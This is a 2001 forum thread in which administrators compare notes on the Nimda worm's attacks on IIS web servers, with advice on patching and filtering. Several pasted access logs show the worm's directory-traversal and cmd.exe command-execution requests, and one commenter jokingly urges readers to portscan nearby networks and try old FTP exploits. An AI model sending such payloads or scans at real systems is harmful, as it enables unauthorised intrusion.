[xanadu-xtroot.com]

I don't know about you or him, but:

I turned Apache on at home (disabling everthing but the ability to serve index.html). I see a ton of Code-Red hits all the time. Can iptables do this? I'm not totallyu sure. I see port 80 hits everytime a Code-Red comes in (I allow the packets, but I them still).
Just a thought...

Re:yup!

[b0r1s]

uh ... none of my logs have any mention of that get request that involves the c+tftp...

[18/Sep/2001:08:13:12 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:12 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:12 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 276 "-" "-"
[18/Sep/2001:08:13:13 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"

So? are you bullshitting? is this a difference in logging? or are there two strings going around? I'm on the west coast, 134.x.x.x, just for general knowledge.

Re:yup!

[b0r1s]

I run IIS on win2k (on this box, I also have Apache on Freebsd under the desk), and my server's never had ANY of these problems, because it isnt hard to patch them correctly....

Dont randomly say that IIS isnt secure, it's only as secure as the operator makes it. If you follow Microsoft's instructions, the default.ida and other indexing holes are removed as soon as installation is complete. The problem is that most of the people getting hit are probably running illegal versions because "its better than 98", dont know what they're doing, dont update, and dont care...

Re:yup!

[macpeep]

Nope.. I'm not bullshitting. I doubt it's a difference in logging either, cause I'm getting pretty much the same stuff you're getting too, but every now and then, the FTP rows. I even tried to FTP to that IP and I got in with an anonymous login! I'm Finland, for your reference..

Maybe it's a different strain of the same thing? It started today, and I haven't gotten ANY code red since this started.

Re:yup!

[Chris Hiner]

I decided to create a /c/winnt/system32/cmd.exe file, and once I did, I started to see the tftp GET Admin.dll part of it. I suspect it tries the others first, and if it finds one that returns OK, then it tries the tftp part.

Re:yup!

[macpeep]

Well, it's not as common it seems. Has anyone else seen it?

Re:yup!

[bleyddyn]

I'm logging (and blocking) port 80 at my firewall rather than at the web server, so I'm not getting the detailed request logs that other people are, but I'm definitely seeing lot's more port 80 activity than yesterday.

I also did a wget on one of the machines and saw the same readme.eml that others found.

I'm in net 24.5.x.x, for what that might be worth.

Re:yup!

[macpeep]

Hmmmm... I don't have /c/winnt/system32/cmd.exe and I still got the tftp requests a few times. My server is immune to these attacks.. I just think it comes a bit delayed or something.

Re:yup!

[dead_penguin]

Ipchains/iptables can do all kinds of things based on where the packet is from, and where it's going, but it doesn't show you any information on what exactly it contains. Without running a webserver, you *can* use ipchains to log connection attempts to port 80. If you've never run a webserver, you can be pretty sure that almost all connections made will be from one of the various worms (Code Red variants and this new one), but there's no way of telling for sure.

Re:yup!

[Anonymous Coward]

If you follow Microsoft's instructions, the default.ida and other indexing holes are removed as soon as installation is complete

And where do you get said instructions? No seriously!

Re:yup!

[elefantstn]

Dont randomly say that IIS isnt secure, it's only as secure as the operator makes it. If you follow Microsoft's instructions, the default.ida and other indexing holes are removed as soon as installation is complete.

IIS IS NOT SECURE.

That wasn't random, though, that was my frustration at having to deal with it infecting people running IE at work who happened to hit an infected IIS server. Your server is patched. Great. Here's your medal. Meanwhile, I'm cleaning up the Microsoft mess around here.

Re:yup!

[bobwoodard]

I'm seeing it on attacks from the 64.*.*.* segment.

Re:yup!

[Anonymous Coward]

And where do you get said instructions? No seriously!

install IIS sometime. there's a "securing IIS" section. if you follow the steps, you remove all of the indexing pages (default.ida, etc) or remap them to another location. it'll keep you from getting rooted...

Re:yup!

[Anonymous Coward]

macpeep and b0r1s are getting different logs because this worm actually tries to verify that it's attacking a Windows host before proceeding.

GET [...]cmd.exe?/c+dir -- Will obviously fail on a unix box, from their the worm goes forward with the exploit with TFTP and so on.

Re:yup!

[Anonymous Coward]

Funny how easy it is to find their "Migrating Linux and Apache Server to Windows 2000 and Internet Information Services" document, but how hard it is to find their "Hardening IIS" document...

What the parent poster is talking about is a configuration change which removes the extention mappings for .IDA and other default processors. (You must dig around in the MMC to find the dialog.) That effectively makes you immune from Code Red with no patches.

This doesn't solve the Unicode exploit used by this new worm, but as far as I know, the patch for that has been around for ages.

Re:yup!

[dohcvtec]

That's more or less (I'm running IPFilter) what I'm doing; before CodeRed hit the net, I would rarely see a packet hit me at port 80, but since then, my IPFilter log has been steadily filling up. Since I'm not running a web server, I know I'm not vulnerable, but it's interesting to see all of the infected machines that are hitting me.

Re:yup!

[Anonymous Coward]

W2K here, but our web server is Website Pro. Too bad the attempts are still filling my logs and bogging down the servers a bit. Goddamn IIS!

Re:yup!

[b0r1s]

it seems the pattern is shifting, and attempting to spread around the globe, as i'm getting hits from germany and france now...

pck2.univ-lille1.fr - - [18/Sep/2001:13:03:19 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:19 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:19 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:20 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:24 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:24 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:28 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:29 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:32 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:33 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:39 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:39 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:46 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:47 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:54 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:55 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:02 -0700] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:03 -0700] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:10 -0700] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:11 -0700] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:19 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:19 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:26 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:27 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:34 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:35 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:41 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:42 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:51 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:52 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 276 "-" "-"

Re:yup!

[weave]

We got nailed. Apparently if you apply hotfixes, patches, SPs in the wrong order, it undoes previous fixes...

Wrong way:
Service Pack 6A
IIS cumulative rollup patch
Post SP6A security rollup patch

Right way:
Service Pack 6a
Post-SP6a Security Roll-up
IIS Cumulative Patch

We thought we were covered. Nope. :-(

(reference, focus-ms mailing list)

Re:yup!

[skt]

haha, I subscribe to technet at work and M$ sends me three or four CDs per month. In the CDs last month there was a linux migration CD (don't remember the exact wording). So I was bored and decided to check it out, thinking that I would really like to migrate to linux anyway :D But of course it is the other way around, and it had a video, html, everything. M$ really spent a lot of time on that, couldn't the manpower be diverted to producing higher-quality products? When it comes to servers, security should always come before features.

Re:yup!

[duvin]

hey peep, the server just checks for the return code of the dir request... 'cause you DON'T give out an 404, it assumes that the exploit worked, and continues with the tftp part (where it makes you d/l that goddamn admin.dll)...

...but you probably figured that out by now...

What's the problem?

[niekze]

Why won't someone port these to linux? Microsoft Operating Systems seem to have a monopoly in this field. For now, if you read this in a *nix, just portscan your netmask and a few others and try a few old wu-ftp exploits.

"You have new mail, you open it. Your server begins port scanning every box on the internet. Do the server's mind? Of course not, they have nothing better to do." - New Microsoft Ad?

Re:What's the problem?

[re-geeked]

If your software had a butt to scratch, it would...

Re:What's the problem?

[Bryan Andersen]

Why won't someone port these to linux?

Maby it because the last one ported to Linux kindof fizzled. I didn't even get one copy sent to me. I feel so left out. :(

Re:What's the problem?

[nick_davison]

Why won't someone port these to linux?

Duh?! Haven't you been listening to that nice Mr Gates... Open source projects ARE viral. So, obviously, there's no need to port them. The situation's completely different with Win* which isn't viral and so has to be reverse engineered with Outlook/IIS to be so.

If there are any plans to start up a nice OSS virus project, could I suggest either gnuK (pronounced grrnuke) or kO (pronounced K-Oh). It'd make life so much easier than trying to remember ridiculous names like Nimda (we're watching the Lion King now?!)

Re:What's the problem?

[Ryan Amos]

Nimda = Admin spelled backwards (the virus attacks admin.dll)

Very lame name IMO, anyway..

Re:What's the problem?

[tapiwa]

Funniest post I have seen on the topic so far.

Seriously, I do think that an open source virus project to continually test the integrity of the OSes and other software out there.

Non-windows Servers

[under_score]

This kinda stuff isn't nice for unix servers either. I have both FreeBSD with Apache and Linux with Tomcat doing stuff and every time a worm like this comes along, my stuff drags to a halt and occaisionally crashes (if my app server is set up in a fragile way). At least I won't be perpetuating this one though.

Re:Non-windows Servers

[Anonymous Coward]

See http://people.redhat.com/alikins/system_tuning.htm l#nimda
for some ideas on "tuning" for these cases.

Only now?

[cphipps]

Turn off your windows servers

Well if you're still vulnerable to those exploits then you should've turned them off months ago...

Re:Only now?

[Bilbo]

...then you should've turned them off months ago...

Ugh... I wish it were that simple. I'm still getting loads of CR hits on my servers. It'd be nice if Time Warner (Roadrunner) would start shutting down connections on servers that have been infected, and never cleaned up. There are a lot of people who still aren't aware that their machines are infected and still flooding the Internet with their nonsense. It's the only way people are going to wake up and get around to fixing their d*mn "Easy to Administer" Windows boxes.

(*sigh*)

The old Code Red Patches don't work?

[Uttles]

So the patches MS sent out didn't stop this new one? I thought they said they had solved that type of problem... I just love MS.

Re:The old Code Red Patches don't work?

[Dimensio]

The new patches may well stop this one. No one implements the patches, which is why Code Red 2 packets are still flying all over every subnet on @Home.

Microsoft may be partly to blame, but it's not for being irresponsible in patching these issues; it's for allowing idiots who don't know how to properly administrate and who will never do security checks to easily run MS servers -- often without realising that the server exists.

Re:The old Code Red Patches don't work?

[Uttles]

You're right about that, people don't administrate well.

Re:The old Code Red Patches don't work?

[JWW]

Or maybe is Microsoft's fault for having coders who didn't make IIS immune to buffer overflows in the first place.

In my opinion, patches should be few and far between. If you have to get a new patch even every month than the software company who wrote it really screwed up.

Re:The old Code Red Patches don't work?

[Anonymous Coward]

uhh, excuse me, I see linux patches for overflows all the time. It's not just a MS problem. You have to keep machines patched, it doesn't matter the OS. The problem is the admins never patch them.

Re:The old Code Red Patches don't work?

[archen]

That assumes that everyone gettin ginfected with this is an "admin" of some sort. I know of more than a few people who were regular (generally computer illitarate) windows 9x users who swiched over to Windows 2000 because they had heard so much of the buzz that it was more stable. And naturally because of the naming scheme, more than a few people I'm sure thought it was the succesor to windows 98. Are these people patching? Hell no. Guess this is one of those times that 'user friendly' becomes a double edged sword: easy enough to use, so that people don't have to know what in the hell is going on.

Re:The old Code Red Patches don't work?

[Anonymous Coward]

A *lot* of the kernel patches are performance/feature enhancements. Yup, some are security patches, but I find these happen very little (I dunno, maybe twice or three times a year, at most?).

And, fact is, the UNIX software that gets bitched about a lot for too many patches ends up with a lot of clones since most admins have better things to do with their time.

Some examples that come to mind (sorry, I can't think of anything other than djb's stuff right now):

- Sendmail / bind (qmail, djbdns)

Re:The old Code Red Patches don't work?

[JamieF]

I run Win2k pro on my desktop (for s/w development) and IIS is not part of the install... I doubt that a typical user's machine on DSL or a cable modem is running IIS at all. NT 4 is a different matter.

Re:The old Code Red Patches don't work?

[brianr]

Sure, and microsoft-bashing is silly at this stage.

The problem is not just allowing 'idiots' to easily run MS servers -- It's having these services run by default. And this applies for any OS. Remember how lots of old unices (many still do) used to run shitloads of cr*p from inetd, et al, by default? Same story, new faces.

Turn them off???

[Anonymous Coward]

Right. Corporate won't mind. I'll just pull the plug.

This could explain why I can't reach my machine..

[Gambit Thirty-Two]

If its scanning subnets, this could very well explain why I cant reach my machine at home (Roadrunner).

Its probably generation a sh*tload of traffic.

Can anyone on 24.x.x.x verify?

My snort box is picking up something too...

[jermz]

Snort has been going nuts this morning. I am getting about the same results. Although, in my case, the attacks are coming from 63.x.x.x, which is the same /8 as I am on.

From here, it looks like a variation on Code Red. Should be an interesting morning.

Jeremy

This isn't a worm...

[Anonymous Coward]

This is just some script kiddie trying to exploit the holes that Code Red previously opened up. Unless you see it coming from different IP subnets, the likelyhood of this attack being a worm is nearly zero.

AC

Re:This isn't a worm...

[ergo98]

When it finds a hole in a machine it replicates itself to said machine and launches more attacks from the new victim, hence it's a worm.

Re:This isn't a worm...

[teknopurge]

yes it is. i have it comming from 5 different class a addresses.

Actually, you read it at this link first...

[Anonymous Coward]

Or would've read it if it wasn't mod;ed down so fast:

http://slashdot.org/comments.pl?sid=21429&cid=2314 500

News for Nerd, Stuff Which Moderators Decide Matters.

yeah it sucks

[Dr. Awktagon]

I noticed that this morning on my various IDS's and was going to post on OT message in another story to see if it was affecting many people.

I get them from inside the local net.

I can't believe this stupid Code Red crap is still going on. I've gotten used to the constant hits. And now am I going to have to get used to this junk?? Argh! I'm just firewalling them off as they hit.

Re:yeah it sucks

[dead_penguin]

Argh! I'm just firewalling them off as they hit.

Don't bother. The likelyhood that you'll see a second hit from an infected box that's already hit you is practically zero. If you *manually* add a rule to your firewall for every host, you'll be so busy you'll go insane within the hour. If you've got a script doing it, you'll have so many rules that the performance of your firewall will take a hit, and your table of rules will become so cluttered that when you do a cleanout you'll probably have to start from scratch again.

Re:yeah it sucks

[TheEnglishman]

Add a new chain - divert everything destined for port 80 down that chain, filter and hop back on your normal ruleset. When it's time to clear up, delete the chain.

Easy.

Doesn't solve any speed issues, but it solves one problem.

All we need now is a rule to drop Micro$oft from the Planet. :-)

Re:yeah it sucks

[sbeitzel]

The likelyhood that you'll see a second hit from an infected box that's already hit you is practically zero.

Bzzzt. I've got a page which logs the attacks on my server -- note that the same twerps keep coming back. I'd certainly appreciate a hackback!

Re:yeah it sucks

[Anonymous Coward]

thanks-i'm used to the three fingered rule
approach-this is a good idea.

Re:yeah it sucks

[Heem]

Don't bother. The likelyhood that you'll see a second hit from an infected box that's already hit you is practically
zero

Um, have you bothered to look at your logs, or are you just making this up as you go along? look at this snip from my analog report

reqs: host
----: ----
341: 65.8.218.x
288: 65.8.108.x
249: 65.8.220.x
238: 65.8.94.x
232: 65.8.169.x
224: 65.8.58.x

you can clearly see MULTIPLE reqs from the same IP

It looks like Code Blue from here

[flyhmstr]

Security focus has some information on it, we're seeing shedloads of hits at the moment :(

What's this one trying to exploit?

[batkiwi]

Looking at the code red virus it was obvious it was going for a hole in the indexing server.

What's this one going after?
Just IIS web server itself?

It'd be almost amusing if this was just some script kiddie with a bunch of zombies trying to cause a virus "scare" (ie hitting a bunch of boxes with a peculiar looking URL, making everyone think it's a worm).

I'm not saying it's not a virus, just it would be amusing...

Yep - I'm being hit too.

[Tim Doran]

1300 hits so far. Each infected machine seems to be making a LOT of attempts.

Here we go again...

Re:Yep - I'm being hit too.

[Anonymous Coward]

IE 6.0 also seems to be vulnerable.

Outlook Express 6.0 can prevent spread

[savaget]

With the new Outlook Express 6.0, you can now prevent the user from opening any attchments.

Here is how it is done:

Tools>Options>Security>check "Do not allow attchments to be saved or opened that could potentially be a virus"

Re:Outlook Express 6.0 can prevent spread

[Dog and Pony]

Yeah. If you turn that on, it will warn you that .txt files or .gif files are potentially viral, while letting through .doc and other formats that are "known" (lmao) to be safe - or rather, MS formats.

Actually, it is such a stupid check, it almost makes things worse instead.

Re:Outlook Express 6.0 can prevent spread

[juliao]

You're right... having half a brain can also prevent spread ;)

They should have made this the default, other wise it's useless. Anyone smart enough to find the option is also smart enough to know better.

Re:Outlook Express 6.0 can prevent spread

[DCowern]

Wow... brilliant... I can just imagine Microsoft's response to the IIS vulnerabilities.

From [future edition of] MSDN:

"To secure IIS, do the following:

Go to Tools > Options > Security and check the box labeled 'Do not allow connections to this machine'."

Re:Outlook Express 6.0 can prevent spread

[RoboProg]

Am I supposed to take this seriously? Do they have a "do not attempt to connect to the internet if you feel like a vulnerable weenie today" option, too?

Re:Outlook Express 6.0 can prevent spread

[TummyX]

Uh. Where did you get the idea that it lets through doc files but not txt files?

Re:Outlook Express 6.0 can prevent spread

[jmorse]

Or, alternatively, Start >> Settings >> Control Panel >> Add/Remove Programs, choose Outlook, and away you go!

Re:Outlook Express 6.0 can prevent spread

[jsse]

Tools>Options>Security>check "Do not allow attchments to be saved or opened that could potentially be a virus"

That's a thought:

Tools>Options>Security>check "Do not allow Windows to be booted up that could potentially be a health hazard."

Re:Outlook Express 6.0 can prevent spread

[Tony-A]

It's Microsoft's idea of security.

Re:Outlook Express 6.0 can prevent spread

[hymie3]

maybe I did too much acid during college, but just today in fact, I received an expected email from a cow-orker containing some word documents and experienced a brief moment of WTH?!? when outlook express 6.0 had greyed out the option to save or open the attached documents. A mouseover revealed the helpful "outlook express has prevented you from accessing this attachment because it might contain virus infected blah blah blah".
Did I hallucinate it?
It was very definitely a Word 2000 attachment.
And it was very definitely Outlook Express 6.0.
And it was very definitely only two hits that last time, six years ago.

DoS.Storm Worm

[jazon]

The attacks look a lot like the DoS.Storm worm that appeared on the scene June 2001. Either it's a new outbreak of DoS.Storm, or a modified version

Symantic has info on DoS.Storm here
SANS incidents.org has more details here

seeing this as well

[Emrys]

All of the hits I'm getting are coming from 64.x.x.x machines. Most are coming from 64.90.x.x. My own subnet falls within 64.90.x.x, so maybe the worm attacks near machines first. Of course, /. is also inside 64.x.x.x...

Re:seeing this as well

[marnanel]

Yes, similarly here. I've heard it suggested that this is some form of the Code Blue worm: according to Datafellows's website, CB attacks random IPs half the time, and IPs in the same /16 the other half.

Me to...

[JeffL]

[checks logs]

I am seeing these hits too. Since 18/Sep/2001:07:27:25 -0600 (it is now 09:16) I have been hit by 120 different machines. 105 of them are on my class B, 128.138, 14 more just start with 128, and only one is from a totally different address.

Perhaps I should contact the admins at my site who are in charge of the offending machines.

Worm roll-up?

[dave-fu]

I see it looking for the exploit Code Red used, trying out MSADC and a directory traversal exploit.
My money's on the Code Red worm being retrofit yet again to try and execute a few more tired old exploits. Which is to say hopefully Hotmail and Windows Update won't get rooted again.
Haven't heard anything about it on Bugtraq yet; haven't checked Incidents (securityfocus.com isn't chugging along so speedily).
It'll be interesting to see how many boxes this roots out in the light of increased press coverage of Code Red and MS's spate of security-minded tools out there. Or: how good do people feel about that leaky dam now that they've stuck their thumb in the hole labelled "Code Red"?

Been hit many many times already

[strags]

Wow - I've got about 1000 similar hits in my logs, starting from around 6.30am this morning. From a variety of different IP addresses.

63.73.31.242 just hit me 16 times.

Going to http://63.73.31.242 indicates:
"National Aerospace Documentation Home Page"
and attempts to launch a "readme.exe" executable immediately.

Just checked another site: 63.168.150.72 - plain old IIS page, but attempts to launch the same executable.

So, we have Code Red, with an added attempt to launch a (no doubt) malicious executable from infected pages.

Re:Been hit many many times already

[Dimensio]

I checked those links from a computer running IE6 (I'm at work).

IE reported that I had clicked a multimedia link after loading the page (er...no) and asked if I wanted to run the media in IE (it didn't give me an option to just not run it at all). When I said no, it loaded Media Player which then informed me that the selected media was invalid.

Weird. They also both opened up the readme.eml pages in another window.

Re:Been hit many many times already

[strags]

Hmmm... I'm using IE5. It looks like it's doing whatever it can to try and launch a malicious executable.

The machines that are hitting me, although not in the same subnet, are not too far off, lending credence to the suspicion that the virus attacks nearby machines first.

Re:Been hit many many times already

[stego]

63.106.36.204 is infected, and a few around that... they got hit a few hours ago

Re:Been hit many many times already

[Gambit253]

The Proxomitron actually kills this attempt to launch readme.eml if you have "kill add-on scripts" checked. Never thought that a proxy meant to remove annoying things from web pages would actually stop a worm from trying to run on my computer.

Too Slow

[xanadu-xtroot.com]

Damn. I just got an e-mail from my ISP (corporate LAN/WAN) telling us of this. Here's their text:

~~~~~~~~~~~~~
Many ISPs, including [ISP], are under attack by a new worm that appears to be related to the recent CodeRed worm. This worm attacks Microsoft web servers via a known vulnerability and seeks to replicate itself by searching for other vulnerable servers.
The traffic caused by this worm has caused severe network problems worlwide this morning (18 Sep 2001) according to many ISP-related mailing lists. More information will be sent to this announcement list as it becomes available.
~~~~~~~~~~~~~

OK, so they say it's a Code-Redish bug. According to Taco's post, it's not even close (sort of).

I'm using *NIX/Apache.
I'm not gonna worry about this one (yet again...). Y'all with them damn Win boxes keeping the Internet flooded with this sort of junk, PLEASE either shut of your machines, or get a real OS...
(or at least, apply the damn patch already)

Re:Too Slow

[TwP]

Y'all with them damn Win boxes keeping the Internet flooded with this sort of junk, PLEASE either shut of your machines, or get a real OS... (or at least, apply the damn patch already)

Preaching to the converted ;) Windows lusers don't read /. Oh wait, I'm using Mozzila on Win98 to write this. disappears in a puff of logical inconsistancy

Re:Too Slow

[BrynM]

Actually, I am running IIS. I'm not infected though. Why? Because I know better than to use the default directory sructure and scripts. I know better than to let the "Administrative" (back door) site run at all.

IIS is a small problem. Brainless admins who want an "out of the box" solutions are the BIG problem. Go educate one.

Re:Too Slow

[Anonymous Coward]

Wow, security through obscurity.. sure makes you feel like you're smart, huh? You'd be wrong.

The solution is to secure the box, not make it secure from generic attacks. Obviously, anyone that knows the "neeto keen" directory structure you are now using can exploit you. Where's your security now?

If you are doing that at any corporation, you should be fired.

Re:Too Slow

[Anonymous Coward]

'security through obscurity is bad!'

'four feet good. two feet bad!'

Bleat bleat bleat.

Re:Too Slow

[BrynM]

Using a different directory structure (obscurity) is part of a secure box. I'm not an idiot.

I just happened to notice that I didn't have a problem without waiting for the patch (most MS patches are slow to arrive).

Yes, it is a production box. The most important one... My own.

Go find someone else to slap around god of tech.

Yep, we're seeing them here too.

[Olinator]

David Korpiewski, our Windoze martyr, is hard at work on this one (I Don't Do Windows:-), and had this to say:

Evidence from compromised boxes elsewhere on campus seems to indicate that this bug will create a ton of *.eml files on the computer and they are all about 78k. Wehaven't received an .eml file in hand yet, to view the contents. A variety of .eml files are created, including "desktop.eml", "readme.eml", etc.

A compromised system will attach a readme.eml file to the bottom of all web pages served. This is because there is currently a bug out for IE5 that will auto execute any given .eml file.

Re:Yep, we're seeing them here too.

[gwizah]

Wait, An MS-bug that auto-executes a file??.

Where have we seen this before? Oh yeah! In pratically every MS product. When is microsoft going to learn to isolate .exe commands from joe Q. Public?

Re:Yep, we're seeing them here too.

[MadAhab]

I can confirm this. The readme.eml I downloaded (funny, freebsd can't execute it) is 57344 bytes large.

Damn, I was just going to patch up some servers on a job today, and it looks like they've already been hit.

Re:Yep, we're seeing them here too.

[Hanno]

What does this .eml file do and how do I get rid of it?

(I had a readme.eml file on my computer after visiting the URL of a compromised server - bad idea. However, the file was only 6k in size.)

Re:Yep, we're seeing them here too.

[Overt Coward]

The referenced bug site says that the work-around is to disable active scripting. I've tested this, and it works -- MSIE now asks my whether or not I want to execute the program instead of running it automatically.

Re:Yep, we're seeing them here too.

[MattHaffner]

I don't know if this has been common with other recent e-mail worms, but this one has extracted random e-mails from some spam lists (presumably) and is using them to spoof the From: header line. An older e-mail of mine was used and now I'm getting Undeliverable and Rejected Relays from a bunch of places for mail I never sent.

I only use Linux and Mac, so there's no auto-execing going on to propagate this from my end and our admin has confirmed that no outgoing mail was initiated on our servers here from me last night.

Truely annoying...

mh

Re:Yep, we're seeing them here too.

[The G Man]

Yeah, I use yahoo mail usually, and I'm getting responses about all kinds of undeliverable mail I supposedly sent from various people I either know or have sent emails to, and even from spammers. And all the spammers have full mailboxes.

Re:Yep, we're seeing them here too.

[jesser]

I've tested this, and it works -- MSIE now asks my whether or not I want to execute the program instead of running it automatically.

Which is great until you accidentally click 'yes' to a dialog that pops up while you're in the middle of frantically closing porn pop-ups.

Re:Yep, we're seeing them here too.

[Mawbid]

Acitive scripting off => no popups

Re:Yep, we're seeing them here too.

[jesser]

Acitive scripting off => no popups

Active scripting off => no bookmarklets, too.

Re:Yep, we're seeing them here too.

[mcjulio]

.eml is a MIME-encoded plain text file understood by Outlook Express. The purpose of this one is to cause IE to execute an .exe file attachment. If I read this thread correctly, the binary is base-64 encoded and attached to this .eml file.

Re:Yep, we're seeing them here too.

[geoffeg]

Ok, so does this affect all IE 5.x versions or just IE 5.0 or 5.5? Does it affect IE 6 or has anyone tested that?

Geoffeg

Re:Yep, we're seeing them here too.

[jsse]

(I Don't Do Windows:-)

but Windows do you. :)

347 Nimda requests recorded in access.log and counting.

Re:Yep, we're seeing them here too.

[Cirrocco]

